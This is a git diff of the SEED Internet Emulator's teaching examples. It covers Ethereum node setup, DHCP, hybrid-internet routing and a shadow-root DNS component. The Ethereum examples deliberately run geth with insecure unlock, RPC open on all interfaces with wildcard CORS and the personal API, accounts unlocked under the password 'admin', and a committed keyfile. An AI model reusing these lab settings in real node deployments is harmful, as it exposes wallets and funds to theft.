occurs, it would be best to do them manually. +We use `go-ethereum;geth` software to run blockchains on emulator. +When the containers are up, they will install `geth` and run it with the command +which is generated from EthereumService Class. We can customized the +`geth start command` with the following methods. +The `base start command` is `geth --datadir {datadir} --identity="NODE_{node_id}" --networkid=10 --syncmode {syncmode} --snapshot={snapshot} --verbosity=2 --allow-insecure-unlock --port 30303 ` +- `setNoDiscover()` = --nodiscover +- `enableGethHttp()` = --http --http.addr 0.0.0.0 --http.port 8545 --http.corsdomain "*" --http.api web3,eth,debug,personal,net,clique +- `enableGethWs()` = --ws --ws.addr 0.0.0.0 --ws.port 8546 --ws.origins "*" --ws.api web3,eth,debug,personal,net,clique +- `unlockAccounts()` = --unlock "{accounts}" --password "{accounts_passwords}" +- `startMiner()` = --mine --miner.threads=1 +- `setSyncmode()` = --syncmode (snap|full|light) +- `setSnapshot()` = --snapshot (true|false) -## A.2 Create the Blockchain Component +You can also set further options using `setCustomGethCommandOption()` method. +The options will append to the `base start command`. + +```python +# Start mining on e1,e2 and e5,e6 +# To start mine(seal) in POA consensus, the account should be unlocked first. +e1.setBootNode(True).setBootNodeHttpPort(8090).startMiner() +e2.startMiner() +e5.setBootNode(True).unlockAccounts().startMiner() +e6.unlockAccounts().startMiner() + +# Enable http connection on e3 +# Set geth http port to 8540 (Default : 8545) +e3.enableGethHttp().setGethHttpPort(8540) + +# Set custom geth command option on e4 +# Possible to enable geth http using setCustomGethCommandOption() method +# instead of using enableGethHttp() method +e4.setCustomGethCommandOption("--http --http.addr 0.0.0.0") + +# Enable ws connection on e5 geth +# Set geth ws port to 8541 (Default : 8546) +e5.enableGethWs().setGethWsPort(8541) + +# Set nodiscover option on e8 geth +e8.setNoDiscover() +``` +## A.6 Setting Custom Geth Binary + +Occationally, it is needed to set customed `geth` binary instead of the original one +to conduct experiment. In this case, you can use `setCustomGeth()` method. + +```python +# Set custom geth binary file instead of installing an original file. +e3.setCustomGeth("./resources/custom_geth") +``` + +## A.7 Setting Custom Genesis + +If you want to deploy your customed genesis file on a blockchain, +you can set the customed genesis using the `setGenesis()` method. + +```python +# Set custom genesis on e4 geth +e4.setGenesis(CustomGenesisFileContent) +``` + + +# Build Emulator with Blockchain + +## B.1 Create the Blockchain Component We create the Blockchain in `component-blockchain.py`. This program generates a Ethereum component, which can be deployed @@ -28,7 +159,7 @@ Please refer to the comments in the code to understand how the layer is built. -## A.3 Deploying the Blockchain +## B.2 Deploying the Blockchain We deploy the blockchain in `blockchain.py`. It first loads two pre-built components, a base-layer component and a blockchain component. The @@ -50,26 +181,18 @@ emu.addBinding(Binding('eth1', filter = Filter(asn = 151))) ... ``` -## A.4 Generate the Emulation Files and Set Up the Data Folders +## B.4 Generate the Emulation Files and Set Up the Data Folders After running the two Python programs (make sure to also run the B00 example to generate the base layer first), we will get the `output` folder, which contains all the Docker files for the emulation. If we set `saveState=True` when creating the `EthereumService` object, -we need to manually create the folders inside the `output` folder, because -these folders will be used to hold the blockchain data on each ethereum node. -In the future, we will do it automatically. +`eth-states` folder will be created automatically and +used to hold the blockchain data on each ethereum node. -``` -$ cd output -$ mkdir -p eth-states/1 -$ mkdir -p eth-states/2 -... -$ mkdir -p eth-states/6 -``` -## A.5 Start the Emulator +## B.5 Start the Emulator Now we can run the docker-compose commands inside the `output` folder to build the containers and then start them. @@ -108,7 +231,7 @@ root@f6fb88f9e09d / # # Use Blockchain -## B.1 Access the Blockchain Network +## C.1 Access the Blockchain Network Once we are inside an Ethereum container, we can use the `geth` command to access the Blockchain. @@ -146,7 +269,7 @@ theirs will still be zero. 527937500000000000000 ``` -## B.2 Get Account Numbers +## C.2 Get Account Numbers A typical transaction involves sending some ethers from our account to another account. First, we need to get the account numbers. All the @@ -191,7 +314,7 @@ so its balance is zero. We will send some ethers to this account. 897750000000000000000 ``` -## B.3 Create Transactions +## C.3 Create Transactions Now from the geth console, we can create a transaction to send ethers to the target account. After waiting for a few seconds, we check the balance again. We will @@ -214,7 +337,7 @@ account, or the unlocking period has already expired (you need to unlock it again). -## B.4 Get Transaction Information +## C.4 Get Transaction Information The transaction hash value will be printed out after we run `eth.sendTransaction()`. We can use this hash to get the details about this transaction. @@ -245,7 +368,7 @@ It shows which block this transaction is added to. # Smart Contract -## C.1 Example +## D.1 Example In this example, we have provided an smart contract program inside the `Contract/` folder. You can also write one yourself. @@ -261,7 +384,7 @@ solc --abi | awk '/JSON ABI/{x=1}x' | sed 1d > contract.abi solc --bin | awk '/Binary:/{x=1;next}x' | sed 1d > contract.abi ``` -## C.2 Deploy Smart Contract +## D.2 Deploy Smart Contract To deploy a smart contract in the Emulator, we first need to create a `SmartContract` object using the generated `abi` and `bin` files, and @@ -283,7 +406,7 @@ to deploy a smart contract is 1000000 (in wei). Our further development will make this value configurable. -## C.3 Get the Smart Contract Address +## D.3 Get the Smart Contract Address Once the contract is deployed, we can perform certain tasks on it. The supplied program `contract.sol` acts as a bank account. We can @@ -341,7 +464,7 @@ done on any node. } ``` -## C.4 Send Ethers to Contract +## D.4 Send Ethers to Contract We can treat the contract as a bank account, and can send ethers to this account. This is similar to sending ethers to a normal account. All we need to do is to @@ -361,7 +484,7 @@ create a transaction. **Note:** It takes a little bit of time for the transaction to be added to the blockchain. -## C.5 Invoke Smart Contract APIs +## D.5 Invoke Smart Contract APIs To invoke the APIs in a smart contract is little bit more complicated. Let us look at the source code of the smart contract example (in `Contracts/contract.sol`). diff --git a/examples/B06-blockchain/blockchain.py b/examples/B06-blockchain/blockchain.py index d1fa3dd5d..d84e83e4e 100755 --- a/examples/B06-blockchain/blockchain.py +++ b/examples/B06-blockchain/blockchain.py @@ -4,7 +4,6 @@ from seedemu.core import Emulator, Binding, Filter from seedemu.mergers import DEFAULT_MERGERS from seedemu.compiler import Docker -from os import mkdir, chdir, getcwd, path emuA = Emulator() @@ -22,30 +21,12 @@ emu.addBinding(Binding('eth4', filter = Filter(asn = 164))) emu.addBinding(Binding('eth5', filter = Filter(asn = 150))) emu.addBinding(Binding('eth6', filter = Filter(asn = 170))) - -output = './output' - -def createDirectoryAtBase(base:str, directory:str, override:bool = False): - cur = getcwd() - if path.exists(base): - chdir(base) - if override: - rmtree(directory) - mkdir(directory) - chdir(cur) - - -saveState = True -def updateEthStates(): - if saveState: - createDirectoryAtBase(output, "eth-states/") - for i in range(1, 7): - createDirectoryAtBase(output, "eth-states/" + str(i)) +emu.addBinding(Binding('eth7', filter = Filter(asn = 161))) +emu.addBinding(Binding('eth8', filter = Filter(asn = 162))) # Render and compile emu.render() # If output directory exists and override is set to false, we call exit(1) # updateOutputdirectory will not be called -emu.compile(Docker(), output) -updateEthStates() +emu.compile(Docker(), './output') diff --git a/examples/B06-blockchain/component-blockchain.py b/examples/B06-blockchain/component-blockchain.py index d0a1e697d..e77bbd97a 100755 --- a/examples/B06-blockchain/component-blockchain.py +++ b/examples/B06-blockchain/component-blockchain.py @@ -3,46 +3,107 @@ from seedemu import * +CustomGenesisFileContent = '''\ +{ + "nonce":"0x0", + "timestamp":"0x621549f1", + "parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData":"0x", + "gasLimit":"0x80000000", + "difficulty":"0x0", + "mixhash":"0x0000000000000000000000000000000000000000000000000000000000000000", + "coinbase":"0x0000000000000000000000000000000000000000", + "number": "0x0", + "gasUsed": "0x0", + "baseFeePerGas": null, + "config": { + "chainId": 11, + "homesteadBlock": 0, + "eip150Block": 0, + "eip150Hash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "eip155Block": 0, + "eip158Block": 0, + "byzantiumBlock": 0, + "constantinopleBlock": 0, + "petersburgBlock": 0, + "istanbulBlock": 0, + "ethash": { + } + }, + "alloc": { + } +} +''' + emu = Emulator() # Create the Ethereum layer # saveState=True: will set the blockchain folder using `volumes`, # so the blockchain data will be preserved when containers are deleted. -# Note: right now we need to manually create the folder for each node (see README.md). -eth = EthereumService(saveState = True) +eth = EthereumService(saveState = True, override=True) -# Create Ethereum nodes (nodes in this layer are virtual) -e1 = eth.install("eth1") +# Create POW Ethereum nodes (nodes in this layer are virtual) +# Default consensus mechanism is POW. +e1 = eth.install("eth1").setConsensusMechanism(ConsensusMechanism.POW) e2 = eth.install("eth2") e3 = eth.install("eth3") e4 = eth.install("eth4") -e5 = eth.install("eth5") -e6 = eth.install("eth6") -# Set bootnodes on e1 and e2. The other nodes can use these bootnodes to find peers. -# Start mining on e1 - e4 -e1.setBootNode(True).setBootNodeHttpPort(8081).startMiner() -e2.setBootNode(True).startMiner() -e3.startMiner() -e4.startMiner() +# Create POA Ethereum nodes +e5 = eth.install("eth5").setConsensusMechanism(ConsensusMechanism.POA) +e6 = eth.install("eth6").setConsensusMechanism(ConsensusMechanism.POA) +e7 = eth.install("eth7").setConsensusMechanism(ConsensusMechanism.POA) +e8 = eth.install("eth8").setConsensusMechanism(ConsensusMechanism.POA) + +# Set bootnodes on e1 and e5. The other nodes can use these bootnodes to find peers. +# Start mining on e1,e2 and e5,e6 +# To start mine(seal) in POA consensus, the account should be unlocked first. +e1.setBootNode(True).setBootNodeHttpPort(8090).startMiner() +e2.startMiner() +e5.setBootNode(True).unlockAccounts().startMiner() +e6.unlockAccounts().startMiner() + +# Create more accounts with Balance on e3 and e7 +# Create one account with createAccount() method +# Create multiple accounts with createAccounts() method +e3.createAccount(balance= 32 * pow(10,18), password="admin").unlockAccounts() +e7.createAccounts(3, balance = 32*pow(10,18), password="admin") + +# Import account with balance 0 on e2 +e2.importAccount(keyfilePath='./resources/keyfile_to_import', password="admin", balance=0) + +# Enable http connection on e3 +# Set geth http port to 8540 (Default : 8545) +e3.enableGethHttp().setGethHttpPort(8540) + +# Set custom genesis on e4 geth +e4.setGenesis(CustomGenesisFileContent) + +# Set custom geth command option on e4 +# Possible to enable geth http using setCustomGethCommandOption() method +# instead of using enableGethHttp() method +e4.setCustomGethCommandOption("--http --http.addr 0.0.0.0") + +# Enable ws connection on e5 geth +# Set geth ws port to 8541 (Default : 8546) +e5.enableGethWs().setGethWsPort(8541) -# Create more accounts on e5 and e6 -e5.startMiner().createNewAccount(3) -e6.createNewAccount().createNewAccount() +# Set nodiscover option on e8 geth +e8.setNoDiscover() -# Create a smart contract and deploy it from node e3 -# We need to put the compiled smart contracts inside the Contracts/ folder -smart_contract = SmartContract("./Contracts/contract.bin", "./Contracts/contract.abi") -e3.deploySmartContract(smart_contract) +# Set custom geth binary file instead of installing an original file. +e3.setCustomGeth("./resources/custom_geth") # Customizing the display names (for visualization purpose) -emu.getVirtualNode('eth1').setDisplayName('Ethereum-1') -emu.getVirtualNode('eth2').setDisplayName('Ethereum-2') -emu.getVirtualNode('eth3').setDisplayName('Ethereum-3') -emu.getVirtualNode('eth4').setDisplayName('Ethereum-4') -emu.getVirtualNode('eth5').setDisplayName('Ethereum-5') -emu.getVirtualNode('eth6').setDisplayName('Ethereum-6') +emu.getVirtualNode('eth1').setDisplayName('Ethereum-POW-1') +emu.getVirtualNode('eth2').setDisplayName('Ethereum-POW-2') +emu.getVirtualNode('eth3').setDisplayName('Ethereum-POW-3').addPortForwarding(8545, 8540) +emu.getVirtualNode('eth4').setDisplayName('Ethereum-POW-4') +emu.getVirtualNode('eth5').setDisplayName('Ethereum-POA-5') +emu.getVirtualNode('eth6').setDisplayName('Ethereum-POA-6') +emu.getVirtualNode('eth7').setDisplayName('Ethereum-POA-7') +emu.getVirtualNode('eth8').setDisplayName('Ethereum-POA-8') # Add the layer and save the component to a file emu.addLayer(eth) diff --git a/examples/B06-blockchain/driver.sh b/examples/B06-blockchain/driver.sh deleted file mode 100755 index 789e80d20..000000000 --- a/examples/B06-blockchain/driver.sh +++ /dev/null @@ -1,7 +0,0 @@ -export SAVE_STATE=True -cd ../B00-mini-internet/ -./mini-internet.py -cd ../B06-blockchain/ -./component-blockchain.py -./blockchain.py -unset SAVE_STATE diff --git a/examples/B06-blockchain/resources/custom_geth b/examples/B06-blockchain/resources/custom_geth new file mode 100755 index 000000000..c45ea1207 Binary files /dev/null and b/examples/B06-blockchain/resources/custom_geth differ diff --git a/examples/B06-blockchain/resources/keyfile_to_import b/examples/B06-blockchain/resources/keyfile_to_import new file mode 100755 index 000000000..5104349a3 --- /dev/null +++ b/examples/B06-blockchain/resources/keyfile_to_import @@ -0,0 +1 @@ +{"address": "9f189536def35811e1a759860672fe49a4f89e94", "crypto": {"cipher": "aes-128-ctr", "cipherparams": {"iv": "25d878dfbfb307b4a25a61b1141c0b70"}, "ciphertext": "d6e55dfecc95d007738b9c6c861dbb2ab9ae1e0e6bc2207a85a898235f755563", "kdf": "scrypt", "kdfparams": {"dklen": 32, "n": 262144, "r": 1, "p": 8, "salt": "500998de07ce25a9cae9fff17973dcb3"}, "mac": "ddc1fd35d3fd6e7a9f4296953a36aac8f09812c864b4bb6ed9e688a7d3e3ac65"}, "id": "d672b132-e346-40eb-bf04-ecc8fbe535e1", "version": 3} diff --git a/examples/B08-Remix-Connection/blockchain.py b/examples/B08-Remix-Connection/blockchain.py index 80fccaec2..f258331cb 100755 --- a/examples/B08-Remix-Connection/blockchain.py +++ b/examples/B08-Remix-Connection/blockchain.py @@ -4,8 +4,6 @@ from seedemu.core import Emulator, Binding, Filter from seedemu.mergers import DEFAULT_MERGERS from seedemu.compiler import Docker -from os import mkdir, chdir, getcwd, path - emuA = Emulator() emuB = Emulator() @@ -23,29 +21,9 @@ emu.addBinding(Binding('eth5', filter = Filter(asn = 150))) emu.addBinding(Binding('eth6', filter = Filter(asn = 170))) -output = './output' - -def createDirectoryAtBase(base:str, directory:str, override:bool = False): - cur = getcwd() - if path.exists(base): - chdir(base) - if override: - rmtree(directory) - mkdir(directory) - chdir(cur) - - -saveState = True -def updateEthStates(): - if saveState: - createDirectoryAtBase(output, "eth-states/") - for i in range(1, 7): - createDirectoryAtBase(output, "eth-states/" + str(i)) - # Render and compile emu.render() # If output directory exists and override is set to false, we call exit(1) # updateOutputdirectory will not be called -emu.compile(Docker(ethClientEnabled=True, clientEnabled=True), output) -updateEthStates() +emu.compile(Docker(clientEnabled=True), './output') diff --git a/examples/B08-Remix-Connection/component-blockchain.py b/examples/B08-Remix-Connection/component-blockchain.py index 782ef086d..c4063b0bd 100755 --- a/examples/B08-Remix-Connection/component-blockchain.py +++ b/examples/B08-Remix-Connection/component-blockchain.py @@ -11,7 +11,6 @@ # Note: right now we need to manually create the folder for each node (see README.md). eth = EthereumService(saveState = True) - # Create Ethereum nodes (nodes in this layer are virtual) e1 = eth.install("eth1") e2 = eth.install("eth2") @@ -29,20 +28,29 @@ # Create more accounts on e5 and e6 e5.startMiner() -e6.startMiner().createNewAccount(2).unlockAccounts().enableExternalConnection() +e6.startMiner().createAccounts(2).unlockAccounts() # Create a smart contract and deploy it from node e3 # We need to put the compiled smart contracts inside the Contracts/ folder smart_contract = SmartContract("./Contracts/contract.bin", "./Contracts/contract.abi") e3.deploySmartContract(smart_contract) +# Set node port that accepts connections +e3.enableGethHttp() +e6.enableGethHttp().setGethHttpPort(8545) + +# Get node port that accepts connections +# Same api used in the EthereumService to set the listening port +e3_port_forward = e3.getGethHttpPort() # Uses default 8545 port +e6_port_forward = e6.getGethHttpPort() # Uses custom port, in this case also using 8545 + # Customizing the display names (for visualization purpose) emu.getVirtualNode('eth1').setDisplayName('Ethereum-1') emu.getVirtualNode('eth2').setDisplayName('Ethereum-2') -emu.getVirtualNode('eth3').setDisplayName('Ethereum-3') +emu.getVirtualNode('eth3').setDisplayName('Ethereum-3').addPortForwarding(8545, e3_port_forward) emu.getVirtualNode('eth4').setDisplayName('Ethereum-4') emu.getVirtualNode('eth5').setDisplayName('Ethereum-5') -emu.getVirtualNode('eth6').setDisplayName('Ethereum-6').addPortForwarding(8545, 8549) +emu.getVirtualNode('eth6').setDisplayName('Ethereum-6').addPortForwarding(8546, e6_port_forward) # Add the layer and save the component to a file emu.addLayer(eth) diff --git a/examples/B10-dhcp/README.md b/examples/B10-dhcp/README.md new file mode 100644 index 000000000..ee8134792 --- /dev/null +++ b/examples/B10-dhcp/README.md @@ -0,0 +1,68 @@ +# DHCP + +In this example, we show how to deploy a dhcp server inside the +SEED Emulator and how to set a host's ip with the installed dhcp server. +We first create dhcp servers on `AS151` and `AS152` controller. +We then 2 hosts in each AS to get ip address from the installed dhcp server. + +See the comments in the code for detailed explanation. + +We can utilize DHCP on `C03-bring-your-own-internet`. When we connect external +devices such as computer, smartphone, and IoT device to a internet emulator, +the installed dhcp will assign ip address to the newly attached devices so that +they can communicate with the nodes inside the emulator and use internet service. + +## Step 1) Deploy a dhcp + +```python +# Create a DHCP server (virtual node). +dhcp = DHCPService() + +# Default DhcpIpRange : x.x.x.101 ~ x.x.x.120 +# Set DhcpIpRange : x.x.x.125 ~ x.x.x.140 +dhcp.install('dhcp-01').setIpRange(125, 140) +dhcp.install('dhcp-02') + + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('dhcp-01').setDisplayName('DHCP Server 1') +emu.getVirtualNode('dhcp-02').setDisplayName('DHCP Server 2') + + +# Create new host in AS-151 and AS-161, use them to host the DHCP servers. +# We can also host it on an existing node. +as151 = base.getAutonomousSystem(151) +as151.createHost('dhcp-server-01').joinNetwork('net0') + +as161 = base.getAutonomousSystem(161) +as161.createHost('dhcp-server-02').joinNetwork('net0') + +# Bind the DHCP virtual node to the physical node. +emu.addBinding(Binding('dhcp-01', filter = Filter(asn=151, nodeName='dhcp-server-01'))) +emu.addBinding(Binding('dhcp-02', filter = Filter(asn=161, nodeName='dhcp-server-02'))) +``` + +Use method `DHCPServer:setIpRange` to set the ip range to assign. +The default IP range of Emulator is as below. +- host ip range : 71-99 +- dhcp ip range : 101-120 +- router ip range : 254-200 + +`DHCPServer:setIpRange` can change dhcp ip range. To change entire ip range, +we can use `Network:setHostIpRange()`, `Network:setDhcpIpRange()`, and +`Network:setRouterIpRange()`. + + +### Step 2) Set host to use dhcp + +```python +# Create new hosts in AS-151, use it to host the Host which use dhcp instead of static ip +as151.createHost('dhcp-client-01').joinNetwork('net0', address = "dhcp") +as151.createHost('dhcp-client-02').joinNetwork('net0', address = "dhcp") + +# Create new hosts in AS-161, use it to host the Host which use dhcp instead of static ip +as161.createHost('dhcp-client-01').joinNetwork('net0', address = "dhcp") +as161.createHost('dhcp-client-01').joinNetwork('net0', address = "dhcp") + +``` + diff --git a/examples/B10-dhcp/dhcp.py b/examples/B10-dhcp/dhcp.py new file mode 100755 index 000000000..6baa9fdf4 --- /dev/null +++ b/examples/B10-dhcp/dhcp.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * + +emu = Emulator() + +# Load the pre-built component +emu.load('../B00-mini-internet/base-component.bin') + +base:Base = emu.getLayer('Base') + +# Create a DHCP server (virtual node). +dhcp = DHCPService() + +# Default DhcpIpRange : x.x.x.101 ~ x.x.x.120 +# Set DhcpIpRange : x.x.x.125 ~ x.x.x.140 +dhcp.install('dhcp-01').setIpRange(125, 140) +dhcp.install('dhcp-02') + + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('dhcp-01').setDisplayName('DHCP Server 1') +emu.getVirtualNode('dhcp-02').setDisplayName('DHCP Server 2') + + +# Create new hosts in AS-151 and AS-161, use them to host the DHCP servers. +# We can also host it on an existing node. +as151 = base.getAutonomousSystem(151) +as151.createHost('dhcp-server-01').joinNetwork('net0') + +as161 = base.getAutonomousSystem(161) +as161.createHost('dhcp-server-02').joinNetwork('net0') + +# Bind the DHCP virtual node to the physical node. +emu.addBinding(Binding('dhcp-01', filter = Filter(asn=151, nodeName='dhcp-server-01'))) +emu.addBinding(Binding('dhcp-02', filter = Filter(asn=161, nodeName='dhcp-server-02'))) + + +# Create new hosts in AS-151 and AS-161 +# Make them to use dhcp instead of static ip +as151.createHost('dhcp-client-01').joinNetwork('net0', address = "dhcp") +as151.createHost('dhcp-client-02').joinNetwork('net0', address = "dhcp") + +as161.createHost('dhcp-client-03').joinNetwork('net0', address = "dhcp") +as161.createHost('dhcp-client-04').joinNetwork('net0', address = "dhcp") + +# Add the dhcp layer +emu.addLayer(dhcp) + +# Render the emulation +emu.render() + +# Compil the emulation +emu.compile(Docker(), './output', override=True) \ No newline at end of file diff --git a/examples/C00-hybrid-internet/README.md b/examples/C00-hybrid-internet/README.md new file mode 100644 index 000000000..9255d6fc2 --- /dev/null +++ b/examples/C00-hybrid-internet/README.md @@ -0,0 +1,31 @@ +# Hybrid Internet + +This is a example that can connect to the realworld. It creates 6 Internet exchanges, +5 transit ASes, and 12 stub ASes same as mini-internet example. +One of the ASes (`AS-99999`) is a hybrid autonomous system, +which announces these prefixes; [`0.0.0.0/1`, `128.0.0.0/1`] +to the emulator. Packets to these prefixes will be routed out to the +real Internet. + +The emulator generated from this example is saved to a component file, +and be used by several other examples as the basis. + +## Hybrid Autonomous System + +The example creates a real-world AS (`AS-99999`), which is +a hybrid autonomous system for the emulator. The prefixes of the AS +are configured as [`0.0.0.0/1`, `128.0.0.0/1`] and announce +them inside the emulator. Packets (from inside the emulator) +going to these networks will be routed to this AS, and +then be forwarded to the real world. Returning packets +will come back from the outside, enter the emulator at +this AS, and be routed to its final destination inside +the emulator. + +``` +# Create hybrid AS. +# AS99999 is the emulator's autonomous system that routes the traffics to the real-world internet +as99999 = base.createAutonomousSystem(99999) +as99999.createRealWorldRouter('rw-real-world', prefixes=['0.0.0.0/1', '128.0.0.0/1']).joinNetwork('ix100', '10.100.0.99') +``` + diff --git a/examples/C00-hybrid-internet/hybrid-internet.py b/examples/C00-hybrid-internet/hybrid-internet.py new file mode 100755 index 000000000..c9d464ada --- /dev/null +++ b/examples/C00-hybrid-internet/hybrid-internet.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * + + +############################################################################### +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +ospf = Ospf() +web = WebService() +ovpn = OpenVpnRemoteAccessProvider() + + +############################################################################### + +ix100 = base.createInternetExchange(100) +ix101 = base.createInternetExchange(101) +ix102 = base.createInternetExchange(102) +ix103 = base.createInternetExchange(103) +ix104 = base.createInternetExchange(104) +ix105 = base.createInternetExchange(105) + +# Customize names (for visualization purpose) +ix100.getPeeringLan().setDisplayName('NYC-100') +ix101.getPeeringLan().setDisplayName('San Jose-101') +ix102.getPeeringLan().setDisplayName('Chicago-102') +ix103.getPeeringLan().setDisplayName('Miami-103') +ix104.getPeeringLan().setDisplayName('Boston-104') +ix105.getPeeringLan().setDisplayName('Huston-105') + + +############################################################################### +# Create Transit Autonomous Systems + +## Tier 1 ASes +Makers.makeTransitAs(base, 2, [100, 101, 102, 105], + [(100, 101), (101, 102), (100, 105)] +) + +Makers.makeTransitAs(base, 3, [100, 103, 104, 105], + [(100, 103), (100, 105), (103, 105), (103, 104)] +) + +Makers.makeTransitAs(base, 4, [100, 102, 104], + [(100, 104), (102, 104)] +) + +## Tier 2 ASes +Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) +Makers.makeTransitAs(base, 12, [101, 104], [(101, 104)]) + + +############################################################################### +# Create single-homed stub ASes. "None" means create a host only + +Makers.makeStubAs(emu, base, 150, 100, [web, None]) +Makers.makeStubAs(emu, base, 151, 100, [web, None]) + +Makers.makeStubAs(emu, base, 152, 101, [None, None]) +Makers.makeStubAs(emu, base, 153, 101, [web, None, None]) + +Makers.makeStubAs(emu, base, 154, 102, [None, web]) + +Makers.makeStubAs(emu, base, 160, 103, [web, None]) +Makers.makeStubAs(emu, base, 161, 103, [web, None]) +Makers.makeStubAs(emu, base, 162, 103, [web, None]) + +Makers.makeStubAs(emu, base, 163, 104, [web, None]) +Makers.makeStubAs(emu, base, 164, 104, [None, None]) + +Makers.makeStubAs(emu, base, 170, 105, [web, None]) +Makers.makeStubAs(emu, base, 171, 105, [None]) + +# Create real-world AS. +# AS11872 is the Syracuse University's autonomous system + +as11872 = base.createAutonomousSystem(11872) +as11872.createRealWorldRouter('rw-11872-syr').joinNetwork('ix102', '10.102.0.118') + + +############################################################################### +# Create hybrid AS. +# AS99999 is the emulator's autonomous system that routes the traffics to the real-world internet +as99999 = base.createAutonomousSystem(99999) +as99999.createRealWorldRouter('rw-real-world', prefixes=['0.0.0.0/1', '128.0.0.0/1']).joinNetwork('ix100', '10.100.0.99') +############################################################################### + + +############################################################################### +# Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, +# which means each AS will only export its customers and their own prefixes. +# We will use this peering relationship to peer all the ASes in an IX. +# None of them will provide transit service for others. + +ebgp.addRsPeers(100, [2, 3, 4]) +ebgp.addRsPeers(102, [2, 4]) +ebgp.addRsPeers(104, [3, 4]) +ebgp.addRsPeers(105, [2, 3]) + +# To buy transit services from another autonomous system, +# we will use private peering + +ebgp.addPrivatePeerings(100, [2], [150, 151], PeerRelationship.Provider) +ebgp.addPrivatePeerings(100, [3], [150, 99999], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(101, [2], [12], PeerRelationship.Provider) +ebgp.addPrivatePeerings(101, [12], [152, 153], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(102, [2, 4], [11, 154], PeerRelationship.Provider) +ebgp.addPrivatePeerings(102, [11], [154, 11872], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(103, [3], [160, 161, 162 ], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) +ebgp.addPrivatePeerings(104, [4], [163], PeerRelationship.Provider) +ebgp.addPrivatePeerings(104, [12], [164], PeerRelationship.Provider) + +ebgp.addPrivatePeerings(105, [3], [11, 170], PeerRelationship.Provider) +ebgp.addPrivatePeerings(105, [11], [171], PeerRelationship.Provider) + + +############################################################################### + +# Add layers to the emulator +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) +emu.addLayer(ibgp) +emu.addLayer(ospf) +emu.addLayer(web) + + +# Save it to a component file, so it can be used by other emulators +emu.dump('base-component.bin') + +# Uncomment the following if you want to generate the final emulation files +emu.render() +#print(dns.getZone('.').getRecords()) +emu.compile(Docker(), './output', override=True) + diff --git a/examples/C01-hybrid-dns-component/README.md b/examples/C01-hybrid-dns-component/README.md new file mode 100644 index 000000000..a64b738ec --- /dev/null +++ b/examples/C01-hybrid-dns-component/README.md @@ -0,0 +1,57 @@ +# Building a DNS Infrastructure Component for Hybrid Internet + +This example demonstrates how we can build a DNS infrastructure as a component. +We generate a hybrid DNS infrastructure and save it into a file as +a DNS component. This component can be loaded into other emulators, which +means deploying the DNS infrastructure in those emulators. + +In this hybrid DNS, we created the following nameservers: +(TLD Name server is not exist in this hybrid DNS +and the emulator only have second-level zones.) + +- Root server: `a-root-server` - shadows a real root server's records +- `twitter.com` nameserver: `ns-twitter-com` +- `google.com` nameserver: `ns-google-com` + + +## Creating Virtual Nameserver for Root Server + +We will create the DNS infrastructure at the DNS layer, +so each node created is a virtual node, which is not bound to +any physical node. The example creates a real-world Root NameServer. +Using .setRealRootNS(), we can announce the root server a real one. + +``` +# Create a nameserver for the root zone. +# Make it shadow the real root zone. +dns.install('a-root-server').addZone('.').setRealRootNS() +``` + +If it is set to the real root server, it will collect the records +from the real world root server. + +``` +path : seedemu/services/DomainNameService.py + +def __getRealRootRecords(self): + """! + @brief Helper tool, get real-world prefix list for the current ans by + RIPE RIS. + + @throw AssertionError if API failed. + """ + rules = [] + rslt = requests.get(ROOT_ZONE_URL) + + assert rslt.status_code == 200, 'RIPEstat API returned non-200' + + rules_byte = rslt.iter_lines() + + for rule_byte in rules_byte: + line_str:str = rule_byte.decode('utf-8') + if not line_str.startswith('.'): + rules.append(line_str) + + return rules +``` + diff --git a/examples/C01-hybrid-dns-component/hybrid-dns-component.py b/examples/C01-hybrid-dns-component/hybrid-dns-component.py new file mode 100755 index 000000000..3a4b68ebd --- /dev/null +++ b/examples/C01-hybrid-dns-component/hybrid-dns-component.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * + +emu = Emulator() + +# DNS +########################################################### +# Create a DNS layer +dns = DomainNameService() + +# Create a nameserver for the root zone. +# Make it shadow the real root zone. +dns.install('a-root-server').addZone('.').setRealRootNS() + +# Create nameservers for second-level zones +dns.install('ns-twitter-com').addZone('twitter.com.') +dns.install('ns-google-com').addZone('google.com.') + +# Add records to zones +dns.getZone('twitter.com.').addRecord('@ A 1.1.1.1') +dns.getZone('google.com.').addRecord('@ A 2.2.2.2') + +# Customize the display names (for visualization purpose) +emu.getVirtualNode('a-root-server').setDisplayName('Root-A') +emu.getVirtualNode('b-root-server').setDisplayName('Root-B') +emu.getVirtualNode('ns-twitter-com').setDisplayName('twitter.com') +emu.getVirtualNode('ns-google-com').setDisplayName('google.com') + +########################################################### +emu.addLayer(dns) +emu.dump('hybrid-dns-component.bin') \ No newline at end of file diff --git a/examples/C02-hybrid-internet-with-dns/README.md b/examples/C02-hybrid-internet-with-dns/README.md new file mode 100644 index 000000000..51c6f5dbf --- /dev/null +++ b/examples/C02-hybrid-internet-with-dns/README.md @@ -0,0 +1,24 @@ +# Deploying DNS Infrastructure in Emulator + +This example demonstrates how we can build a DNS infrastructure as a +component, and then deploy this infrastructure onto a pre-built +emulator. This is based on the B02-mini-internet-with-dns. +You can refer to the examples/B02-mini-internet-with-dns/Readme.md for detailed explain. +The change from the mini-internet-with-dns to hybrid-internet-with-dns is +the configuration of ldns. + +## Creating Local DNS Server for Hybrid Internet + +Creating a local DNS server is similar to creating +other types of services. The local dns in hybrid internet emulator should +add the emulator's zones to its forward zone. +By doing this, the query can be forward to the +name servers inside the emulator. + +``` +##################################################################################### +# Create a local DNS servers (virtual nodes). +# Add forward zone so that the DNS queries from emulator can be forwarded to the emulator's Nameserver not the real ones. 